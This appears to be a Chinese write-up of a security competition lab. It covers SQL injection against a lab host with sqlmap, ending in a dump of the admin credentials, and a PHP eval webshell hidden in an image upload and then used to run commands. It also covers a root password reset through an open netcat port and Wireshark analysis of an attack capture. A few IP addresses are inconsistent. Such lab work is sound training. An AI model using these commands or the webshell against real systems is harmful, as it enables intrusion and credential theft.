前言:
虚拟机:KALI2020(用户名:kali;密码:kali)
服务器场景:2021-LINUX(用户密码:未知)
数据包下载地址:http://服务器IP/shuziquzheng.html
MD5加密命令 echo -n "需要加密的字符串" | openssl md5
实验工具: sqlmap wireshark
目录
数据库服务渗透测试:
1.通过分析靶机LINUX页面信息,寻找漏洞页面,将WEB服务存在SQL注入漏洞的页面名称作为FLAG提交;(25分)
访问172.16.5.110寻找注入页面
Flag:http://172.16.5.110/index2.php
2. 通过本地PC中的渗透测试平台KALI2020对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务的数据库名称作为FLAG提交;(25分)
Sqlmap -u“http://172.16.5.110/index2.php?name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” -dbs 爆数据库
Flag:webiu
3. 通过本地PC中的渗透测试平台KALI2020对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务用户的表名称作为FLAG提交;(25分)
我们继续爆webiu的表:
sqlmap -u "http://172.16.5.110/index2.php?name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll" -D webiu --tables
Flag:iuser
4. 通过本地PC中的渗透测试平台KALI2020对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB登陆用户admin用户的明文密码作为FLAG提交。(25分)
继续利用sqlmap爆出iuser表的内容
sqlmap -u “http://172.16.5.110/index2.php?name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” -D webiu -T iuser --columns
果然表里面有用户密码
最后爆出password 和 username字段
sqlmap -u “http://172.16.5.110/index2.php?name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” -D webiu -T iuser -C username,password --dump
flag:123321
web服务渗透测试:
1. 通过本地PC中的渗透测试平台KALI2020对靶机进行WEB渗透,找到页面内的文件上传漏洞并且尝试进行上传攻击,将文件上传成功后的页面回显字符串作为FLAG提交(如:点击超链接查看上传文件);(25分)
扫描靶机得到一个48119高端口,所以我们有nc连一下 nc 172.16.5.110 48119
结果就直接进来了,但是在nc里能干不了什么所以我们更改root密码passwd root 为123456
然后ssh连接靶机, ssh root@172.16.5.110 密码:123456
登录后发现在/var/www/html目录下有一个qiantai和houtai两个文件
因为在之前访问172.16.5.110时怎么也找不到上传的地方所以就怀疑,访问的可能是qiantai,
但是上传题目在后台所以我们应该将配置文件改一下。
vim /etc/httpd/conf/httpd.conf 将qiantai改成houtai
重启http服务再次访问172.16.5.110
输入之前利用sqlmap爆出来的用户密码:admin/123321上传页面就出来了
接下来我们就可以上传文件了,直接上传一句话木马但是上传失败
要求上传的文件上传文件的后缀名不能为空,且必须是jpg,jpeg,png中的一个
所以我们可以制作图片一句话木马:准备一句话木马2.txt(<?php @eval($_GET[‘123’]);?>)和一张图片1.png
打开cmd 切换到桌面路径
最后提交我们制作图片木马3.png得到flag
Flag:文件上传成功, 点击预览
2.通过本地PC中的渗透测试平台KALI2020对靶机进行WEB渗透,找到页面内的文件上传漏洞并且尝试进行上传攻击,使用相关的渗透测试手段,获取到WEB权限,使用WHOAMI获取WEB当前的用户权限,并作为FLAG进行提交;(25分)
上传的木马是GET格式所以我们在网页url中可以直接输入命令
http://172.16.5.112/system_wws/aa.php?aaa=whoami
Flag:apache
3. 通过本地PC中的渗透测试平台KALI2020对靶机进行WEB渗透,找到页面内的文件上传漏洞并且尝试进行上传攻击,使用相关的渗透测试手段,获取到WEB权限,使用相关指令获取到当前linux用户UID为5的用户,将该用户的用户名称作为FLAG进行提交;(25分)
回到靶机后台 vim /etc/passwd 查看一下UID为5的用户
Flag:sync
4.通过本地PC中的渗透测试平台KALI2020对靶机进行WEB渗透,找到页面内的文件上传漏洞并且尝试进行上传攻击,使用相关的渗透测试手段,获取到WEB权限,使用相关指令查看后台首页文件,将该文件的第二行的所有字符串作为FLAG进行提交。(25分)
/var/www/html/houtai/system_wws目录下的index.php文件
Flag:session_start();
数据流分析
1.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客攻击服务器所用的内网IP,将黑客使用的IP地址进行MD5加密后作为FLAG进行提交;(25分)
通过简单的http过滤发现了 172.16.5.88与172.16.5.154这两个ip地址
这么看就很明显172.16.5.88是黑客ip而172.16.5.154是服务器ip
FLAG:172.16.5.88
2.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客在网站中下载的私钥文件,将黑客下载的私钥文件的文件名进行MD5加密后作为FLAG进行提交;(25分)
继续寻找可疑数据包ctrl+F选择分组字节流搜索key字符串找到了该文件
这里要知道
私钥文件格式,我搜索了私钥文件的后缀key可以很方便的找到含有私钥文件的数据包
私钥文件的格式主要有der和pem,这里提到的私钥文件就是pem格式
由:头(-----BEGIN PRIVATE KEY-----)+内容+尾(-----END PRIVATE KEY-----)组成
FLAG:mars-server.key
3.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客通过SQL注入攻击时的软件名称,将软件名称以及版本MD5加密后作为FLAG进行提交(如MD5加密前:sqli/2.1.1#stablest);(25分)
在这接下来的题目之前先将私钥文件导入到wireshark首选项中:编辑--->首选项--->TLS--->Edit
这样就可以查看完整的数据包(这是一个新的知识点要记住)
接下来寻找SQL注入攻击时的软件在sql注入包中寻找就可以了
FLAG:sqlmap/1.4.8
4.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客登陆网站后台所用的账号密码,将黑客使用的账号密码MD5加密后作为FLAG进行提交(如:root/123123)。(25分)
要找登陆账号密码,那这个数据包大概就在sql注入之后含有form的数据包,在ctrl+F寻找username
FLAG:admin/123456
5. 通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客上传到我们服务器上的一句话木马,并且将一句话木马的文件名称MD5加密后作为FLAG提交;(25分)
常规的操作是登录后再找上传点,然后上传一句话木马,所以我们可以在登录的数据包之后寻找含有上传一句话木马的数据包
这里发现黑客上传了一个图片,应该是图片绑定了一句话木马,并且服务器回复了上传成功。
追踪这个数据包的http流,我们还可以看到它的一句话木马。
FLAG:1404415fb52c5fc67d5787519315.jpg
6.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找到黑客扫描我们服务器开放了哪些端口,将我们服务器中开放的TCP端口按照从小到大的顺序排序后MD5加密后作为FLAG进行提交(如:MD5加密前:21/22/23/24/25);(25分)
这里我用到的过滤规则是:ip.dst == 192.168.100.154 and tcp.flags.reset == 1 然后对扫到的端口进行排序22/80/443/3306/6379
FLAG:22/80/443/3306/6379
7.通过本地PC中的渗透测试平台KALI2020下载靶机中的数据包,通过WIRESHARK软件分析数据包内的数据,找出黑客曾经利用服务器中最大的端口提权所保存的文件,将该文件名称MD5加密后作为FLAG提交。(50分)
上一题我们得出了所有开放的端口最大端口,在所有端口中6379是最大的所以我们再次过滤一下所有数据包,
tcp.port == 6379 这样就可以这显示6379端口的数据包了,这样我们就很轻松的就找到了然后追踪它的流就发现了authorized_keys这个文件
FLAG:authorized_keys
综合渗透
1.通过本地PC中的渗透测试平台KALI2020对服务器场景进行渗透攻击,获取到RSYNC服务所开放的端口,将RSYNC服务开放的端口数值进行MD5加密后作为FLAG提交(如MD5加密前:812);(25分)
Nmap -sV 172.16.5.110
Flag:873
2. 通过本地PC中的渗透测试平台KALI2020对服务器场景进行渗透攻击,查看RSYNC服务的配置文件,将负责RSYNC服务同步的账号名称以及密码进行MD5加密后作为FLAG提交(如MD5加密前:admin/123);(25分)
用nc连接高端口该root的密码然后Ssh登录靶机 查看RSYNC服务的配置文件rsyncd.confVim /etc/rsyncd.conf 发现了 auth users = test 和secrets file = /etc/rsyncd.secrets
这个secrets file = /etc/rsyncd.secrets就很可疑所以我们vim查看一下就得到了flag
Flag:test:JDYgQG
3.通过本地PC中的渗透测试平台KALI2020对服务器场景进行渗透攻击,使用渗透攻击手段获取到服务器中远程同步的文件,找到同步文件夹中包含flag的文件,将其内容作为FLAG提交;(25分)
进入到/mnt/backup路径 里面有一个backup flag文件
文件直接cat无法查看,因为这个文件中间有一给空格 ,正确的应该是cat “backup flag”
Flag:backupflag:ed553a251beb2853f09c8faacebff7f7
4.通过本地PC中的渗透测试平台KALI2020对服务器场景进行渗透攻击,使用渗透技术获取到服务器中UID为0的用户权限,查看LINUX服务器中/目录中的FLAG文件,将该文件的内容作为FLAG进行提交。(25分)
切换到root目录查看里面的flag文件,里面就有个flagvalue.txt cat一下就出来了
Flag:66aa01cd738630d36e488d589ce99faf